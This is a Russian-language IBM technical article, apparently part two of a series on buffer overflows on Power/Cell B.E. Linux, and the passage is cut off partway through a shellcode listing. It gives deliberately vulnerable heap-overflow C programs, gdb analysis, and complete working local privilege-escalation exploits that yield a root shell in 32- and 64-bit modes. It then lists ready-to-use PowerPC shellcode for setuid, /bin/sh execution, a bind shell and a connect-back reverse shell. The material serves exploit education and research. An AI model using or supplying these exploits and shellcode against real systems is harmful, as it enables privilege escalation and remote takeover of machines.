 | Уровень сложности: средний Рамон ди Карвалью Вальи, разработчик ПО, IBM
14.05.2009 Серия рассказывает об уязвимостях переполнения буфера на серверах, оснащенных процессорами архитектуры Power™/Cell Broadband Engine™ под управлением ОС Linux®. Переполнение буфера происходит при попытке сохранения данных за пределами буфера фиксированного размера. Следствием этого могут стать различные виды системных ошибок, некоторые из которых могут нарушить безопасность системы. Во второй части показано, как переписать указатели функций в 32- и 64-разрядных режимах, и приведены примеры ассемблерных компонентов для оболочки shell, сети и сокетов. В первой части этой серии статей кратко обсуждалось переполнение буфера в архитектурах Power и Cell/B.E.™, а затем демонстрировалось, как можно изменить работу процессов на целевых компьютерах и переписать локальные переменные в 32- и 64-разрядных режимах.
Все примеры уязвимостей, связанных с переполнением буфера обмена, для этой серии статей создавались и тестировались на серверах IBM BladeCenter® JS22 Express, IBM BladeCenter QS21 и Sony Playstation 3 под управлением ОС Red Hat Enterprise Linux 4 Update 7.
В этой части тема переполнения буфера рассматривается подробнее, обсуждается, как переписать указатели функции в 32- и 64-разрядном режимах, рассказывается о готовых компонентах на ассемблере и приводятся примеры кода для работы с оболочкой, сетью и сокетами. За общей информацией о причинах и следствиях переполнений буфера обратитесь к первой части статьи.
Перезапись указателя функции в 32-разрядном режиме
Перезапись указателя функции позволяет выполнить произвольный код. В листинге 1 приведен пример уязвимости переполнения буфера кучи.
Листинг 3. example3.c (уязвимость переполнения буфера кучи)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
if ((s = malloc(sizeof(struct mystruct))) == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
s->myfunc = printf;
if (argc > 1)
strcpy(s->buffer, argv[1]);
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
|
Работу процесса можно изменить перезаписью и последующим выполнением указателя функции myfunc являющегося элементом структуры
struct mystruct, расположенного в памяти справа после буфера.
Листинг 2. Перезапись указателя функции myfunc
$ gcc -Wall -o example3 example3.c
$ ./example3 AAAAAAAAAAAAAAAABBBB
Segmentation fault
$
|
В листинге 3 показаны структура
struct
mystruct и ее элементы в сегменте кучи после переполнения.
Листинг 3. Структура struct mystruct после переполнения
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[AAAAAAAAAAAAAAAA][BBBB]
Bottom of Top of
heap heap
|
Ниже приведен анализ переполнения при помощи отладчика GNU gdb.
Листинг 4. Анализ переполнения при помощи отладчика GNU gdb
$ gdb example3
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".
(gdb) r AAAAAAAAAAAAAAAABBBB
Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
0x42424240 in ?? ()
(gdb)
|
При попытке выполнения кода по некорректному адресу
0x42424240, указывающему на отсутствующее расположение в памяти, происходит ошибка сегментации. Процессор пытается выполнить код по адресу
0x42424240 вместо заданного
0x42424242, чтобы уложиться в длину четыре байта с выравниванием по словам, поскольку всякий раз, когда адрес инструкции обрабатывается в процессоре (в качестве инструкции Branch), два младших бита игнорируются.
Ниже показана структура struct mystruct в сегменте кучи после переполнения.
Листинг 5. Структура struct mystruct в сегменте кучи после переполнения
(gdb) x/20bx 0x10011008
0x10011008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011018: 0x42 0x42 0x42 0x42
(gdb)
|
В ОС Linux, работающей на процессорах Power/CBEA, размещение кучи начинается с адреса 0x10011008. Для эксплуатации этой уязвимости можно использовать компоненты на ассемблере (или коды оболочки).
Листинг 6. Компоненты (или shellcodes) использующие данную уязвимость
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Для увеличения шансов на успешный взлом применяется техника блоков NOP. Для операции NOP в процессорах Power/CBEA обычно используется инструкция oril r0,r0,0
(0x60000000). Однако для того, чтобы избавиться от нулей, выполняется инструкция
mr r31,r31
(0x7ffffb78).
Располагая этой информацией, можно с некоторой вероятностью вычислить адрес кучи, содержащий инструкцию NOP из блока NOP (0x10011808).
Листинг 7. Использование уязвимости кода из листинга 9
# chown root. example3
# chmod +s example3
$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ./example3 $(ruby -e 'print "A" * 16 + "\x10\x01\x18\x08" +
"\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18
\x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02
\xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61
\xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"')
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#
|
На следующей схеме показаны структура
struct
mystruct и ее элементы в сегменте кучи после переполнения.
Листинг 8. Структура struct mystruct после переполнения
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS]
| ^
|__________________|
Bottom of Top of
heap heap
D = Dummy value (A character)
A = Moderated guess of heap address that possibly will contain a NOP
instruction
N = NOP instructions
S = Assembly components
|
Перезапись указателя функции в 64-разрядном режиме
Теперь я расскажу вам, как можно выполнить произвольный код при помощи перезаписи указателя функции в 64-разрядном режиме. Интерфейс Power 64-bit ELF ABI определяет понятие дескрипторов функций, содержащихся в разделе .opd ELF-файла.
Дескрипторы функции – это структуры, содержащие указатели на функцию, на раздел TOC и на среду (используется в таких языках, как Паскаль). В языках высокого уровня значение символьного имени функции является адресом дескриптора функции, а не адреса самой функции. Символьные имена, начинающиеся с точки (.), зарезервированы для адресов функций. В интерфейсе Power 32-bit ELF EABI дескрипторы функций отсутствуют.
Использование дескрипторов функций интерфейсом Power 64-bit ELF ABI требует внесения изменений в код, обрабатывающий адреса функций. Для доступа к адресам функций можно использовать следующий код.
Листинг 9. Доступ к адресам функций
int function_name(int arg1, int arg2);
typedef struct function_descriptor {
void *addr;
unsigned long toc;
unsigned long env;
} f_desc_t;
function_address=(unsigned long)(((f_desc_t *)function_name)->addr);
|
Это делает использование предыдущего примера отличным от 32-разрядного режима, и соответственно для портирования предыдущего примера в 64-рязрядный режим не требует изменений.
Листинг 10. Перезапись указателя функции myfunc
$ gcc -Wall -m64 -o example4 example3.c
$ ./example4 AAAAAAAAAAAAAAAABBBBBBBB
Segmentation fault
$
|
В следующем листинге показаны структура
struct
mystruct и ее элементы в сегменте кучи после переполнения.
Листинг 11. Структура struct mystruct после переполнения
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc descriptor
[AAAAAAAAAAAAAAAA][BBBBBBBB]
Bottom of Top of
heap heap
|
Ниже приведен анализ переполнения при помощи отладчика GNU gdb.
Листинг 12. Анализ переполнения при помощи отладчика GNU gdb
$ gdb example4
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".
(gdb) r AAAAAAAAAAAAAAAABBBBBBBB
Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
0x00000000100006f8 in .main ()
(gdb) x/i $pc
0x100006f8 <.main+148>: ld r0,0(r9)
(gdb) i r r9
r9 0x4242424242424242 4774451407313060418
(gdb)
|
В результате при попытке загрузки адреса функции из ее дескриптора по некорректному адресу
0x4242424242424242 происходит ошибка сегментации.
Для успешного использования этой уязвимости дескриптор функции
myfunc должен указывать на корректное расположение в памяти, содержащее фальшивый указатель функции с элементом
addr, указывающим на инструкцию NOP из блока NOP, за которым следуют ассемблерные компоненты.
На следующей схеме показаны структура struct mystruct и ее элементы в сегменте кучи после переполнения.
Листинг 13. Структура struct mystruct после переполнения
(gdb) x/24bx 0x10011010
0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x10011020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
(gdb)
|
Обратите внимание, что в ОС Linux, работающей на процессорах Power/CBEA, в 64-разрядном режиме размещение кучи начинается с адреса
0x0000000010011010. Это делает возможным использование данной уязвимости лишь в том случае, когда вводимые данные могут содержать нули.
Ниже приведена модифицированная версия предыдущего примера уязвимой для переполнения буфера кучи программы, которая считывает данные из файла и соответственно принимает нули.
Листинг 14. example4.c (ввод нулей)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
FILE *fp;
if ((fp = fopen(argv[1], "r")) == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
if ((s = malloc(sizeof(struct mystruct))) == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
s->myfunc = printf;
fgets(s->buffer, 16384, fp);
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
|
Для использования этой уязвимости в 64-разрядном режиме понадобятся ассемблерные компоненты 64-разрядного режима.
Листинг 15. 64-разрядные компоненты
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode64[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode64> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Для увеличения шансов успешного взлома можно использовать блок фальшивых указателей функций, содержащий только элементы
addr, за которым следует блок NOP. Смещение между блоком NOP и блоком фальшивых указателей функции является постоянным. Если эти блоки имеют равный размер, достаточно будет угадать указатель на фальшивый дескриптор функции (0x0000000010011810 - подразумевается, что адрес 0x0000000010012810 содержит инструкцию NOP).
Листинг 16. Использование уязвимости программы из листинга 14
$ gcc -Wall -m64 -o example4 example4.c
# chown root. example4
# chmod +s example4
$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ruby -e 'print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" +
"\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 +
"\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01
\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e
\xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38
\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"' > exploit.txt
$ ./example4 exploit.txt
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#
|
На следующей схеме показаны структура
struct
mystruct и ее элементы в сегменте кучи после переполнения.
Листинг 17. Структура struct mystruct после переполнения
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc descriptor
[DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS]
| ^| ^
|_________||_________________|
fixed
Bottom of Top of
heap heap
D = Dummy value (A character)
P = Moderated guess of heap address that possibly will contain an address of
NOP instruction (fake function descriptor)
A = Moderated guess of heap address that possibly will contain a NOP
instruction
N = NOP instructions
S = Assembly components
|
Теперь давайте познакомимся поближе с готовыми компонентами на ассемблере.
Ассемблерные компоненты
Рассматриваемые ниже компоненты на ассемблере – коды для запуска оболочки, подключения по сети и поиска сокета – размещены в разделе
примеры кода . Они предназначены для использования в концептуальных примерах взлома ОС Linux, работающей на процессорах Power/CBEA (см. раздел Ресурсы). Данные компоненты на ассемблере разработаны в рамках проекта UNIX® Assembly Components for Proof of Concept Codes.
- Код запуска оболочки (
shellcode): просто запускает программу /bin/sh.
- Код сервера сети (
bndsockcode):
создает сокет для прослушивания порта TCP, указанного в параметре
BNDSOCKPORT команды
bndsockcode (значение по умолчанию - 1234). После создания подключения он копирует дескриптор сокета удаленного узла TCP в дескрипторы стандартных процессов (stdin,
stdout и
stderr) и запускает интерактивную оболочку.
- Код подключения по сети (
cntsockcode):
устанавливает подключение TCP к удаленным IP-адресу и порту, заданным в параметрах CNTSOCKADDR и
CNTSOCKPORT команды
cntsockcode (значения по умолчанию соответственно 127.0.0.1 и 1234). После создания подключения он копирует дескриптор сокета удаленного узла TCP в дескрипторы стандартных процессов (stdin, stdout,
и stderr) и запускает интерактивную оболочку.
- Код поиска сокета (
fndsockcode): просматривает таблицу дескрипторов процессов в поисках дескриптора сокета удаленного узла TCP с номером порта, заданного в параметре FNDSOCKPORT команды
fndsockcode. В том случае если удаленный узел обнаружен, цикл завершается и найденный дескриптор сокета копируется в дескрипторы стандартных процессов (stdin, stdout и stderr).
Перед выполнением команды fndsockcode клиентское программное обеспечение должно установить подключение TCP к процессу, в контексте которого будет выполняться код. Должны быть настроены соответствующие параметры
FNDSOCKPORT команды
fndsockcode для обеспечения подходящей идентификации клиентского подключения.
 |
Примеры кода
Листинг 18. Код запуска оболочки (shellcode)
char setresuidcode[]= /* 24 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\xa5" /* addi r0,r31,-347 */
"\x44\xff\xff\x02" /* sc */
;
char setreuidcode[]= /* 20 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x47" /* addi r0,r31,-441 */
"\x44\xff\xff\x02" /* sc */
;
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
char exitcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x02" /* addi r0,r31,-510 */
"\x44\xff\xff\x02" /* sc */
;
|
Листинг 19. 64-разрядный код запуска оболочки (shellcode)
char shellcode64[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode64> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 20. Код сервера сети (bndsockcode)
#define BNDSOCKPORT 58
char bndsockcode[]= /* 223 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\xff\x02" /* lis r23,-254 */
"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x7c\x36\x0b\x78" /* mr r22,r1 */
"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 21. 64-разрядный код сервера сети (bndsockcode)
#define BNDSOCKPORT 58
char bndsockcode64[]= /* 223 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\xff\x02" /* lis r23,-254 */
"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x7c\x36\x0b\x78" /* mr r22,r1 */
"\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */
"\xfa\xc1\xff\xf9" /* stdu r22,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode64+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode64+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 22. Код подключения по сети (cntsockcode)
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
char cntsockcode[]= /* 183 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\x7f\x00" /* lis r23,32512 */
"\x62\xf7\x00\x01" /* ori r23,r23,1 */
"\x3a\xc0\x04\xd2" /* li r22,1234 */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x93\x61\xff\xfe" /* stw r27,-2(r1) */
"\x7c\x35\x0b\x78" /* mr r21,r1 */
"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */
"\x96\xa1\xff\xfc" /* stwu r21,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <cntsockcode+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 23. 64-разрядный код подключения по сети (cntsockcode)
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
char cntsockcode64[]= /* 183 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\x7f\x00" /* lis r23,32512 */
"\x62\xf7\x00\x01" /* ori r23,r23,1 */
"\x3a\xc0\x04\xd2" /* li r22,1234 */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x93\x61\xff\xfe" /* stw r27,-2(r1) */
"\x7c\x35\x0b\x78" /* mr r21,r1 */
"\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */
"\xfa\xa1\xff\xf9" /* stdu r21,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
